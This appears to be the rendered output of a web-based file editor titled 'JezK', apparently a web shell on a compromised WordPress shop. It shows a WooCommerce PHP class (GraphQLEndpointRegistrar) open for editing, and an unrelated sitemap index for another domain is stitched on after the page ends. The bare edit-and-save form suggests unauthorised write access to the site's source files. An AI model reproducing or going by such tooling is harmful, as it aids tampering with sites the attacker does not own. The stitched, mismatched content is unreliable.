
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: GraphQLEndpointRegistrar.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

declare(strict_types=1);

namespace Automattic\WooCommerce\Internal\Api;

/**
 * Deferred-registration helper for GraphQL endpoints declared via
 * {@see Main::register_graphql_endpoint()}.
 *
 * Each instance captures the arguments of a single registration request and
 * exposes {@see self::handle_rest_api_init()} as the callback target for the
 * rest_api_init action, so Main doesn&#039;t have to carry per-registration state
 * through a closure.
 */
class GraphQLEndpointRegistrar {
	/**
	 * Capture the arguments of a single register_graphql_endpoint() call.
	 *
	 * @param string   $controller_class_name Fully-qualified name of a concrete GraphQLController subclass.
	 * @param string   $route_namespace       REST namespace passed to register_rest_route().
	 * @param string   $route                 REST route path passed to register_rest_route().
	 * @param string[] $methods               HTTP methods accepted on the endpoint.
	 */
	public function __construct(
		private readonly string $controller_class_name,
		private readonly string $route_namespace,
		private readonly string $route,
		private readonly array $methods
	) {}

	/**
	 * Hook callback for rest_api_init. Instantiates the controller and
	 * registers the REST route.
	 *
	 * The caller-declared methods are narrowed by
	 * {@see Main::filter_methods_against_settings()} so plugin endpoints honour
	 * the same site-wide settings (e.g. the GET-endpoint toggle) as
	 * WooCommerce core&#039;s `/wc/graphql`. If the filter empties the list the
	 * endpoint is not registered.
	 */
	public function handle_rest_api_init(): void {
		$methods = Main::filter_methods_against_settings( $this-&gt;methods );
		if ( empty( $methods ) ) {
			return;
		}

		$controller = Main::instantiate_graphql_controller( $this-&gt;controller_class_name );
		if ( null === $controller ) {
			return;
		}

		register_rest_route(
			$this-&gt;route_namespace,
			$this-&gt;route,
			array(
				&#039;methods&#039;             =&gt; $methods,
				&#039;callback&#039;            =&gt; array( $controller, &#039;handle_request&#039; ),
				// Auth is handled per-query/mutation.
				&#039;permission_callback&#039; =&gt; &#039;__return_true&#039;,
			)
		);
	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://tiffingrab.ca/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-posts-product-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_cat-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-taxonomies-product_tag-1.xml</loc></sitemap><sitemap><loc>https://tiffingrab.ca/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
